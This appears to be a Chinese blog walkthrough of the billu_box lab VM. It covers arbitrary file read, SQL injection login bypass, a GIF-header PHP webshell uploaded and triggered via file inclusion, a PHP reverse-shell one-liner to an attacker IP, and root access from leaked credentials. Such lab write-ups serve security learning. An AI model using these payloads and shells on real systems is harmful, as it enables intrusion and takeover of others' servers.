靶机 billu_box-任意文件读取-图片马

爆破

80下网页让我们sql,但是怎么试都不行

dirsearch爆破下出来部分网页

[09:45:31] 200 -  307B  - /add.php   存在文件上传
[09:45:36] 200 -    1B  - /c       无                      
[09:45:41] 200 -    3KB - /head.php   一张图                                     
[09:45:42] 200 -  499B  - /images/
[09:45:42] 200 -   47KB - /in      phpinfo页面                                      
[09:45:46] 302 -    2KB - /panel.php  ->  index.php                         
[09:45:47] 200 -    8KB - /phpmy/      phpmyadmin界面                                 
[09:45:50] 200 -    1B  - /show      无                                  
[09:45:53] 200 -   72B  - /test.php    让我对file参数传值      

那就敏锐点get发个/etc/passwd,没反应。那就post传值试试,发现自动下载一个passwd文件。那就是存在任意文件读取的问题了。直接将之前扫出来的目录全拿来看看(只拿有用的)

审计

index.php

if(isset($_POST['login']))
{
    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {

        $row = mysqli_fetch_assoc($result);
        echo "You are allowed<br>";
        $_SESSION['logged']=true;
        $_SESSION['admin']=$row['username'];

        header('Location: panel.php', true, 302);

    }
    else
    {
        echo "<script>alert('Try again');</script>";
    }

}

panel.php

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);//存在任意文件包含的漏洞
	}
	
}

c.php

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");//此处有mysql的账号密码

// Check connection
if (mysqli_connect_errno())
{
    echo "connection failed ->  " . mysqli_connect_error();
}

?>

登录

登录界面有两种方式进入

一种是直接拿c.php的账密来登录数据库后台,然后会发现登录用的账号密码是用明文方式存储的

另外一种是通过代码审计index.php中的代码来执行sql注入

 $uname=str_replace('\'','',urldecode($_POST['un']));
 $pass=str_replace('\'','',urldecode($_POST['ps']));
 $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

构造payload

un='or 1=1 -- \&ps=\

此时语句将变成

select * from auth where pass='\' and uname='or 1=1 -- \'

进入后台后导航到panel.php,那就能用到他的文件包含的代码,看见存在文件上传的地方,这时候需要知道文件上传的路径。

有两种方法

一是gobuster来爆

gobuster dir -u http://192.168.1.108 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 

二是审计index.php的代码可以发现上传的代码会被移动到/uploaded_images文件下

文件包含

发现很玄学的一件事情,首先我是上传本地一个文件头GIF89a的一句话马,但是没有反应。然后我尝试wget几个图片在后面加一句话马依旧不行。但是到最后却是在jack.jpg成功了。原因不详。

<?php system($_GET['red']); ?>

构造payload

抓包panel.php页面,将load改为/uploaded_images,代码执行在get中的red参数里添加,比如

/panel.php?red=phpinfo()

反弹shell

反弹shell命令在线生成器|🔰雨苁🔰 (ddosi.org)

php -r '$sock=fsockopen("192.168.1.113",1234);exec("/bin/bash -i <&3 >&3 2>&3");'

成功拿到shell

id一下权限很低

提权

开始淘宝,在config.inc.php中发现一个账号与密码 root roottoor,第一反应是去phpmyadmin试了下,不行。那就看一眼wp,这是要拿去ssh的,真的得记得有这个攻击面才行。id一下,真实root

posted @ 2024-09-29 09:40  eth258  阅读(10)  评论(0编辑  收藏  举报